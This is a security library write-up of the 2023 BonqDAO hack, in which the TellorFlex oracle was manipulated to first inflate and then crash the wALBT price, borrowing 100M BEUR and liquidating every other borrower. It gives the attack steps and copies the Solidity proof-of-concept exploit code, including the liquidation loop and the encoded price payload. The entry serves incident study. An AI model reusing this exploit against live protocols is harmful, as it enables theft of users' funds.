# BonqDAO: TellorFlex oracle manipulation drains BEUR and ALBT

Attacker staked cheap TRB to post fake wALBT prices to TellorFlex oracle, inflating collateral to borrow 100M BEUR then crashing price to liquidate all ALBT borrowers.

- Payout: Real-world hack
- Severity: critical
- Program: - BonqDAO
- Analysis by: DeFiHackLabs
- Disclosed: 2023-02-02
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-02/BonqDAO_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230202-bonqdao
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:liquidation vuln:oracle-manipulation

**Target:** TellorFlex price oracle feeding BonqDAO wALBT troves on Polygon
**Root cause:** TellorFlex accepted price reports from any reporter staking only the low TRB stake amount, with no dispute window enforced; BonqDAO consumed the latest spot price directly for collateral valuation and liquidation.
**Steps:**
1. Stake TRB via `TellorFlex.getStakeAmount()` to a malicious PriceReporter and call `updatePrice(10e18, 5e27)` to set wALBT price extremely high (Tx1).
2. Create trove via `BonqProxy.createTrove(WALBT)`, deposit `0.1e18` wALBT, call `increaseCollateral` then `borrow(this, 100_000_000e18)` to mint 100M BEUR.
3. Create second trove and deposit remaining wALBT as collateral.
4. In Tx2, stake TRB again and call `updatePrice(10e18, 0.0000001e18)` to crash wALBT price.
5. Enumerate all wALBT troves via `firstTrove`/`nextTrove`, call `liquidate()` on each indebted trove.
6. Repay own trove debt with BEUR, then `decreaseCollateral` to withdraw all seized wALBT.
**Exploitation:** Two transactions: Tx1 inflates wALBT oracle price to borrow 100M BEUR against 0.1 wALBT; Tx2 crashes the price to liquidate every other wALBT CDP, seizing their ALBT collateral, then repays own debt and withdraws.
**Escalation:** Chained oracle inflation (mint) and oracle crash (liquidate) in two txs to capture both borrowed BEUR and all borrowers' ALBT collateral.
**Insight:** When an oracle lets anyone post a price for only a stake deposit, check whether the consumer reads the latest spot value without a dispute window; a two-tx inflate-then-crash sequence can both over-borrow and mass-liquidate.

## Proof of concept (copied exactly from the original report)

**Price reporter submits inflated wALBT price**

```
PriceReporter Reporter = new PriceReporter();
        TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
        Reporter.updatePrice(10e18, 5e27);

        console.log("Use 0.1 wALBT as collateral, borrow massive amount of BEUR");
        maliciousTrove = BonqProxy.createTrove(address(WALBT)); // attacker create a new trove
        WALBT.transfer(maliciousTrove, 0.1 * 1e18); // transfer 0.1 wALBT to trove as collateral
        ITrove(maliciousTrove).increaseCollateral(0, address(0));
        ITrove(maliciousTrove).borrow(address(this), 100_000_000e18, address(0)); // borrow 100,000,000 BEUR
```

**Price reporter submits crashed wALBT price to liquidate**

```
PriceReporter Reporter = new PriceReporter();
        TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
        Reporter.updatePrice(10e18, 0.0000001 * 1e18);

        console.log("Get all trove addresses");
        address[] memory troves = new address[](45);
        troves[0] = BonqProxy.firstTrove(address(WALBT));
        troves[44] = BonqProxy.lastTrove(address(WALBT));
        require(troves[44] == 0x5343c5d0af82b89DF164A9e829A7102c4edB5402, "Last trove creator is not attacker"); // note: assert troves[44] is maliciousTrove2

        for (uint256 i = 1; i < troves.length; ++i) {
            // troves[1] ~ troves[44]
            troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i - 1]);
        }

        console.log("Liqudate all borrowers");
        for (uint256 i = 1; i < troves.length - 1; ++i) {
            address target = troves[i];
            require(BonqProxy.containsTrove(address(WALBT), target)); // check target exists before exploit
            uint256 debt = ITrove(target).debt();
            if (debt == 0) {
                continue; // trove no debt, pass
            }
            ITrove(target).liquidate();
```

**Malicious SpotPrice queryData payload**

```
bytes memory queryData =
            hex"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000";
```

